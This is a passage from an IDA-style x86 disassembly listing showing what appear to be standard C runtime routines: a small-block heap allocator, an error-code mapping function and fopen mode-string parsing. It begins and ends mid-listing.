		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4124BB:				; CODE XREF: sub_412407+6Fj
		pop	esi
		pop	edi
		retn
sub_412407	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124BE	proc near		; CODE XREF: sub_4128A3+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_4124D6
; ---------------------------------------------------------------------------


loc_4124D3:				; CODE XREF: sub_4124BE+1Aj
		shl	eax, 1
		inc	ebx


loc_4124D6:				; CODE XREF: sub_4124BE+13j
		test	eax, eax
		jge	short loc_4124D3
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_4124EF:				; CODE XREF: sub_4124BE+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4124EF
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	dword_419174	; VirtualAlloc
		test	eax, eax
		jnz	short loc_412522
		or	eax, 0FFFFFFFFh
		jmp	loc_4125BF
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: sub_4124BE+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_412572
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_41253A:				; CODE XREF: sub_4124BE+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_41253A
		mov	edx, [ebp+var_4]


loc_412572:				; CODE XREF: sub_4124BE+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4125AF
		or	[eax+4], edi


loc_4125AF:				; CODE XREF: sub_4124BE+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4125BF:				; CODE XREF: sub_4124BE+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4124BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125C4	proc near		; CODE XREF: sub_414F92+63p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_412766
		test	bl, 1
		jnz	loc_41275F
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41275F
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_412639
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_412639:				; CODE XREF: sub_4125C4+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_412684
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_412665
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_412684
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_412684
; ---------------------------------------------------------------------------


loc_412665:				; CODE XREF: sub_4125C4+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_412684
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_412684:				; CODE XREF: sub_4125C4+7Bj
					; sub_4125C4+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41274D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_4126BE
		push	3Fh
		pop	edi


loc_4126BE:				; CODE XREF: sub_4125C4+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41273B
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_412712
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41270A
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41270A:				; CODE XREF: sub_4125C4+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_412732
; ---------------------------------------------------------------------------


loc_412712:				; CODE XREF: sub_4125C4+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_412728
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_412728:				; CODE XREF: sub_4125C4+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_412732:				; CODE XREF: sub_4125C4+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_41273B:				; CODE XREF: sub_4125C4+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_412750
; ---------------------------------------------------------------------------


loc_41274D:				; CODE XREF: sub_4125C4+DEj
		mov	edx, [ebp+arg_4]


loc_412750:				; CODE XREF: sub_4125C4+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41289B
; ---------------------------------------------------------------------------


loc_41275F:				; CODE XREF: sub_4125C4+50j
					; sub_4125C4+5Aj
		xor	eax, eax
		jmp	loc_41289E
; ---------------------------------------------------------------------------


loc_412766:				; CODE XREF: sub_4125C4+47j
		jge	loc_41289B
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_412791
		push	3Fh
		pop	esi


loc_412791:				; CODE XREF: sub_4125C4+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41281B
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4127AA
		push	3Fh
		pop	esi


loc_4127AA:				; CODE XREF: sub_4125C4+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_4127F4
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_4127D5
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_4127F1
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4127F1
; ---------------------------------------------------------------------------


loc_4127D5:				; CODE XREF: sub_4125C4+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4127F1
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4127F1:				; CODE XREF: sub_4125C4+208j
					; sub_4125C4+20Fj ...
		mov	ebx, [ebp+arg_4]


loc_4127F4:				; CODE XREF: sub_4125C4+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41281B
		push	3Fh
		pop	esi


loc_41281B:				; CODE XREF: sub_4125C4+1D1j
					; sub_4125C4+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_412892
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_412869
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_412861
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_412861:				; CODE XREF: sub_4125C4+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_412889
; ---------------------------------------------------------------------------


loc_412869:				; CODE XREF: sub_4125C4+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41287F
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41287F:				; CODE XREF: sub_4125C4+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_412889:				; CODE XREF: sub_4125C4+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_412892:				; CODE XREF: sub_4125C4+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41289B:				; CODE XREF: sub_4125C4+196j
					; sub_4125C4:loc_412766j
		xor	eax, eax
		inc	eax


loc_41289E:				; CODE XREF: sub_4125C4+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4125C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4128A3	proc near		; CODE XREF: sub_40E6DD+17p
					; sub_410733+32p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, dword_4C5B4C
		mov	edx, dword_4C5B50
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_4128E0
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_4128ED
; ---------------------------------------------------------------------------


loc_4128E0:				; CODE XREF: sub_4128A3+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax


loc_4128ED:				; CODE XREF: sub_4128A3+3Bj
		mov	eax, dword_4C5B58
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_41290F
; ---------------------------------------------------------------------------


loc_4128FB:				; CODE XREF: sub_4128A3+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_412914
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]


loc_41290F:				; CODE XREF: sub_4128A3+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_4128FB


loc_412914:				; CODE XREF: sub_4128A3+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41293D
		mov	ebx, edx
		jmp	short loc_41292E
; ---------------------------------------------------------------------------


loc_41291D:				; CODE XREF: sub_4128A3+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_412935
		add	ebx, 14h


loc_41292E:				; CODE XREF: sub_4128A3+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_41291D


loc_412935:				; CODE XREF: sub_4128A3+86j
		cmp	ebx, eax
		jz	loc_4129D1


loc_41293D:				; CODE XREF: sub_4128A3+74j
					; sub_4128A3+170j
		mov	dword_4C5B58, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_412964
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41299A


loc_412964:				; CODE XREF: sub_4128A3+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_412997


loc_412980:				; CODE XREF: sub_4128A3+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_412980


loc_412997:				; CODE XREF: sub_4128A3+DBj
		mov	edx, [ebp+var_4]


loc_41299A:				; CODE XREF: sub_4128A3+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_412A23
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_412A23
; ---------------------------------------------------------------------------


loc_4129C5:				; CODE XREF: sub_4128A3+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4129D6
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_4129D1:				; CODE XREF: sub_4128A3+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_4129C5


loc_4129D6:				; CODE XREF: sub_4128A3+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_412A01
		mov	ebx, edx
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129DF:				; CODE XREF: sub_4128A3+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4129EF
		add	ebx, 14h


loc_4129E8:				; CODE XREF: sub_4128A3+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_4129DF


loc_4129EF:				; CODE XREF: sub_4128A3+140j
		cmp	ebx, eax
		jnz	short loc_412A01
		call	sub_412407
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_412A19


loc_412A01:				; CODE XREF: sub_4128A3+136j
					; sub_4128A3+14Ej
		push	ebx
		call	sub_4124BE
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_41293D


loc_412A19:				; CODE XREF: sub_4128A3+15Cj
		xor	eax, eax
		jmp	loc_412B9A
; ---------------------------------------------------------------------------


loc_412A20:				; CODE XREF: sub_4128A3+182j
		shl	ecx, 1
		inc	edi


loc_412A23:				; CODE XREF: sub_4128A3+111j
					; sub_4128A3+120j
		test	ecx, ecx
		jge	short loc_412A20
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_412A44
		push	3Fh
		pop	esi


loc_412A44:				; CODE XREF: sub_4128A3+19Cj
		cmp	esi, edi
		jz	loc_412B4D
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_412AB0
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_412A84
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_412AAD
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_412AB0
; ---------------------------------------------------------------------------


loc_412A84:				; CODE XREF: sub_4128A3+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_412AAD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_412AB0
; ---------------------------------------------------------------------------


loc_412AAD:				; CODE XREF: sub_4128A3+1D5j
					; sub_4128A3+1FDj
		mov	ebx, [ebp+arg_0]


loc_412AB0:				; CODE XREF: sub_4128A3+1AFj
					; sub_4128A3+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_412B59
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_412B4A
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_412B21
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_412B0F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_412B0F:				; CODE XREF: sub_4128A3+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_412B4A
; ---------------------------------------------------------------------------


loc_412B21:				; CODE XREF: sub_4128A3+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_412B34
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_412B34:				; CODE XREF: sub_4128A3+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_412B4A:				; CODE XREF: sub_4128A3+247j
					; sub_4128A3+27Cj
		mov	ecx, [ebp+var_8]


loc_412B4D:				; CODE XREF: sub_4128A3+1A3j
		test	ecx, ecx
		jz	short loc_412B5C
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_412B5C
; ---------------------------------------------------------------------------


loc_412B59:				; CODE XREF: sub_4128A3+223j
		mov	ecx, [ebp+var_8]


loc_412B5C:				; CODE XREF: sub_4128A3+2ACj
					; sub_4128A3+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_412B92
		cmp	ebx, dword_4C5B48
		jnz	short loc_412B92
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4C5B60
		jnz	short loc_412B92
		and	dword_4C5B48, 0


loc_412B92:				; CODE XREF: sub_4128A3+2D3j
					; sub_4128A3+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_412B9A:				; CODE XREF: sub_4128A3+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4128A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_412B9F	proc near		; CODE XREF: sub_40E723+1Fp
					; sub_410733+5Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4C5984
		test	eax, eax
		jz	short loc_412BB7
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_412BB7
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_412BB7:				; CODE XREF: sub_412B9F+7j
					; sub_412B9F+12j
		xor	eax, eax
		retn
sub_412B9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_412BBA	proc near		; CODE XREF: sub_41050F+AEp
					; sub_412DF3+8Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4C5908, eax
		xor	ecx, ecx


loc_412BC5:				; CODE XREF: sub_412BBA+18j
		cmp	eax, dword_421380[ecx*8]
		jz	short loc_412BE9
		inc	ecx
		cmp	ecx, 2Dh
		jb	short loc_412BC5
		cmp	eax, 13h
		jb	short loc_412BF6
		cmp	eax, 24h
		ja	short loc_412BF6
		mov	dword_4C5904, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_412BE9:				; CODE XREF: sub_412BBA+12j
		mov	eax, dword_421384[ecx*8]
		mov	dword_4C5904, eax
		retn
; ---------------------------------------------------------------------------


loc_412BF6:				; CODE XREF: sub_412BBA+1Dj
					; sub_412BBA+22j
		cmp	eax, 0BCh
		jb	short loc_412C0E
		cmp	eax, 0CAh
		mov	dword_4C5904, 8
		jbe	short locret_412C18


loc_412C0E:				; CODE XREF: sub_412BBA+41j
		mov	dword_4C5904, 16h

locret_412C18:				; CODE XREF: sub_412BBA+52j
		retn
sub_412BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412C19	proc near		; CODE XREF: sub_40E8BA+21p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4C5B10
		push	edi
		mov	edi, [ebp+arg_4]
		mov	al, [edi]
		xor	ebx, ebx
		cmp	al, 61h
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_412C52
		cmp	al, 72h
		jz	short loc_412C4B
		cmp	al, 77h
		jnz	loc_412D5E
		mov	ecx, 301h
		jmp	short loc_412C57
; ---------------------------------------------------------------------------


loc_412C4B:				; CODE XREF: sub_412C19+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_412C5A
; ---------------------------------------------------------------------------


loc_412C52:				; CODE XREF: sub_412C19+1Dj
		mov	ecx, 109h


loc_412C57:				; CODE XREF: sub_412C19+30j
		or	esi, 2


loc_412C5A:				; CODE XREF: sub_412C19+37j
		xor	edx, edx
		inc	edx
		jmp	loc_412D39
; ---------------------------------------------------------------------------


loc_412C62:				; CODE XREF: sub_412C19+125j
		cmp	edx, ebx
		jz	loc_412D44
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_412CE3
		jz	short loc_412CD6
		sub	eax, 2Bh
		jz	short loc_412CC0
		sub	eax, 19h
		jz	short loc_412CB6
		sub	eax, 0Eh
		jz	short loc_412CA2
		dec	eax
		jnz	loc_412D1B
		cmp	[ebp+var_4], ebx
		jnz	loc_412D1B
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	loc_412D39
; ---------------------------------------------------------------------------


loc_412CA2:				; CODE XREF: sub_412C19+68j
		cmp	[ebp+var_4], ebx
		jnz	short loc_412D1B
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	loc_412D39
; ---------------------------------------------------------------------------


loc_412CB6:				; CODE XREF: sub_412C19+63j
		test	cl, 40h
		jnz	short loc_412D1B
		or	ecx, 40h
		jmp	short loc_412D39
; ---------------------------------------------------------------------------


loc_412CC0:				; CODE XREF: sub_412C19+5Ej
		test	cl, 2
		jnz	short loc_412D1B
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_412D39
; ---------------------------------------------------------------------------


loc_412CD6:				; CODE XREF: sub_412C19+59j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_412D1B
		or	ecx, eax
		jmp	short loc_412D39
; ---------------------------------------------------------------------------


loc_412CE3:				; CODE XREF: sub_412C19+57j
		sub	eax, 62h
		jz	short loc_412D2E
		dec	eax
		jz	short loc_412D16
		sub	eax, 0Bh
		jz	short loc_412D02
		sub	eax, 6
		jnz	short loc_412D1B
		test	ch, 0C0h
		jnz	short loc_412D1B
		or	ecx, 4000h
		jmp	short loc_412D39
; ---------------------------------------------------------------------------


loc_412D02:				; CODE XREF: sub_412C19+D5j
		cmp	[ebp+var_8], ebx
		jnz	short loc_412D1B
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	short loc_412D39
; ---------------------------------------------------------------------------


loc_412D16:				; CODE XREF: sub_412C19+D0j
		cmp	[ebp+var_8], ebx
		jz	short loc_412D1F


loc_412D1B:				; CODE XREF: sub_412C19+6Bj
					; sub_412C19+74j ...
		xor	edx, edx
		jmp	short loc_412D39
; ---------------------------------------------------------------------------


loc_412D1F:				; CODE XREF: sub_412C19+100j
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	short loc_412D39
; ---------------------------------------------------------------------------


loc_412D2E:				; CODE XREF: sub_412C19+CDj
		test	ch, 0C0h
		jnz	short loc_412D1B
		or	ecx, 8000h


loc_412D39:				; CODE XREF: sub_412C19+44j
					; sub_412C19+84j ...
		inc	edi
		mov	al, [edi]
		cmp	al, bl
		jnz	loc_412C62


loc_412D44:				; CODE XREF: sub_412C19+4Bj
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_415B4C
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_412D62


loc_412D5E:				; CODE XREF: sub_412C19+25j
		xor	eax, eax
		jmp	short loc_412D7C
; ---------------------------------------------------------------------------


loc_412D62:				; CODE XREF: sub_412C19+143j
		mov	eax, [ebp+arg_C]
		inc	dword_4C5900
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_412D7C:				; CODE XREF: sub_412C19+147j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412C19	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D81	proc near		; CODE XREF: sub_40E8BAp
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_4C6EE0
		xor	ebx, ebx
		xor	esi, esi
		xor	eax, eax
		cmp	edi, ebx
		jle	short loc_412DED
		mov	ecx, dword_4C5ED4


loc_412D9A:				; CODE XREF: sub_412D81+29j
